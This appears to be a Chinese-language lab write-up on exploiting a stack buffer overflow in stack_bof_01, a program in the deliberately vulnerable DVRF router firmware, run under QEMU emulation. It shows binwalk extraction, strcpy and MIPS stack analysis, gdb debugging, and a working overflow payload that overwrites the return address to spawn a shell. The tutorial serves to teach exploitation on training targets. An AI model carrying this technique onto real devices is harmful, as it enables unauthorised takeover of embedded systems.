DVRF固件
這是網(wǎng)友自制的一個(gè)充滿漏洞的固件,以供學(xué)習(xí)使用
下載
git clone https://github.com/praetorian-code/DVRF.git
安裝gdb
sudo apt install gdb-multiarch
安裝gef
wget https://github.com/hugsy/gef/raw/master/gef.py
echo source "gef.py的具體路徑"/gef.py >> ~/.gdbinit
安裝gef分析使用到的python第三方庫
sudo pip3 install capstone unicorn keystone-engine
對固件進(jìn)行分析
cd DVRF/Firmware
binwalk -e -t DVRF_v03.bin

cd _DVRF_v03.bin.extracted/squashfs-root
分析得到的文件夾中有個(gè) pwnable 文件夾,里面存放了相關(guān)的漏洞程序,我們選取緩沖區(qū)漏洞程序stack_bof_01進(jìn)行實(shí)驗(yàn)。首先使用readelf命令查看該程序的架構(gòu)。
readelf -h pwnable/Intro/stack_bof_01

可以看到該程序的架構(gòu)為MIPS,小端存儲(chǔ)模式(后續(xù)看內(nèi)存信息的時(shí)候要注意)
安裝qemu-mipsel-static
sudo apt-get install qemu-user-stati
拷貝qemu-mipsel-static到當(dāng)前目錄,然后配合chroot虛擬執(zhí)行stack_bof_01固件
分析漏洞程序

strcpy() 代碼分析
可以看到在main函數(shù)中,調(diào)用了strcpy函數(shù),將用戶輸入復(fù)制到buf中,我們看看strcpy函數(shù)的匯編代碼

由于該固件架構(gòu)是MIPS架構(gòu),匯編指令集和X86架構(gòu)的有所不同,a0寄存器存儲(chǔ)了buf的起始地址,a1寄存器存儲(chǔ)了用戶輸入的起始地址。該代碼的功能:每次從用戶輸入從取一個(gè)字符,查看是否是 /0 (字符串結(jié)尾標(biāo)志符),然后將其存到buf中,因此并沒有進(jìn)行邊界檢查,造成棧溢出的可能。值得注意的是,MIPS架構(gòu)使用了流水線技術(shù)進(jìn)行加速,在執(zhí)行bnez指令時(shí),同時(shí)在執(zhí)行sb指令,只是執(zhí)行的階段不同。X86架構(gòu)中若bnez指令進(jìn)行跳轉(zhuǎn)時(shí),則sb指令執(zhí)行會(huì)被無效掉,但在MIPS架構(gòu)中,sb指令執(zhí)行后,并不會(huì)被無效掉。該代碼利用該特性,循環(huán)得進(jìn)行復(fù)制。
棧溢出分析過程
根據(jù)上述分析,我們可以增加輸入長度,當(dāng)長度超過200時(shí),則發(fā)生棧溢出,將main函數(shù)在棧中的一些信息覆蓋掉。因此只要我們覆蓋掉main函數(shù)的返回地址時(shí),則可以劫持程序流,獲得控制權(quán)。
main函數(shù)堆棧布局
MIPS 架構(gòu)上函數(shù)調(diào)用過程中的堆棧和棧幀
推薦看看上面這篇鏈接,了解一下MIPS架構(gòu)的堆棧布局是怎么樣的
由于main函數(shù)中調(diào)用了strcpy函數(shù),因此main函數(shù)并非葉子函數(shù),即最后返回時(shí),要從堆棧中彈出return address到 ra 寄存器,再使用跳轉(zhuǎn)指令進(jìn)行跳轉(zhuǎn)


可以看到,在這段代碼中,首先給堆棧擴(kuò)充了232個(gè)字節(jié),即此時(shí)sp=base - 232(base為原sp地址),然后將ra存在了base - 4的位置,將s8存在base - 8的位置,將gp存在base - 216的位置,將a0存在base的位置,a1存在base+4的位置,而base - 208 到 base - 8 這200個(gè)字節(jié)則存著buf,因此我們只需要溢出buf 8個(gè)字節(jié),即可將ra修改為我們所需要的目標(biāo)地址
由于在本次實(shí)驗(yàn)中,已經(jīng)提供了shellcode,因此我們只需要找到shellcode的起始地址即可,查看dat_shell函數(shù)的地址

可以看到其啟示地址為0x00400950,因此我們的buf為 ‘A’ * 204 + '\x50\x09\x40\x00',記住存儲(chǔ)模式是小端。
執(zhí)行漏洞程序
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"
執(zhí)行后如下

發(fā)生了段錯(cuò)誤,并沒有執(zhí)行到shellcode,讓我們繼續(xù)調(diào)試看看是什么情況
調(diào)試漏洞程序
sudo chroot . ./qemu-mipsel-static -g 1243 ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x50\x09\x40')")"
另開一個(gè)命令行執(zhí)行
gdb-multiarch pwnable/Intro/stack_bof_01
進(jìn)入gdb后,將架構(gòu)轉(zhuǎn)為MIPS架構(gòu)
set architecture mips
開始調(diào)試漏洞程序
target remote 127.0.0.1:1243
在main函數(shù)處打個(gè)斷點(diǎn)并執(zhí)行到該斷點(diǎn)處
b main
c

查看main函數(shù)的匯編代碼
disassem main
可以看到在main函數(shù)匯編代碼的最后有個(gè)jr ra指令

我們在該處下一個(gè)斷點(diǎn),看看ra寄存器中是否是我們的shellcode的起始地址,并執(zhí)行到該處
b* 0x00400948
c

可以看到ra中確實(shí)是我們的shellcode的地址

最后執(zhí)行該指令應(yīng)該會(huì)跳到dat_shell上。查找了資料,好像說是會(huì)有3條gp指令影響,最終的shellcode地址為0x0040095c,執(zhí)行一下看看
sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python3 -c "print('A'*204 + '\x5c\x09\x40\x00')")"

成功獲得shell!